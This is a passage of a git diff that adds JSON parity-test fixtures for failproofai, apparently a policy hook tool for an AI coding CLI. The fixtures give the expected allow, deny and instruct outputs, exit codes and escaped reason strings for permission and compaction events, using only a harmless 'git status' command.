new file mode 100644 index 00000000..0e9e4d91 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..777ab5e8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..fe388319 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..dd68eb38 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..bb588006 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7c964560 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..909fad1c --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..bbecc6ca --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d05fbca4 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..fa973619 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..abb0b6b8 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..8bbe4439 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ea9b1d7b --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..f03ff71f --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..27e70775 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..113575f1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..dd7f3aa3 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e2931da1 --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b7d4f4cd --- /dev/null +++ b/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/PostCompact/allow-silent__tool-present__one-policy.json 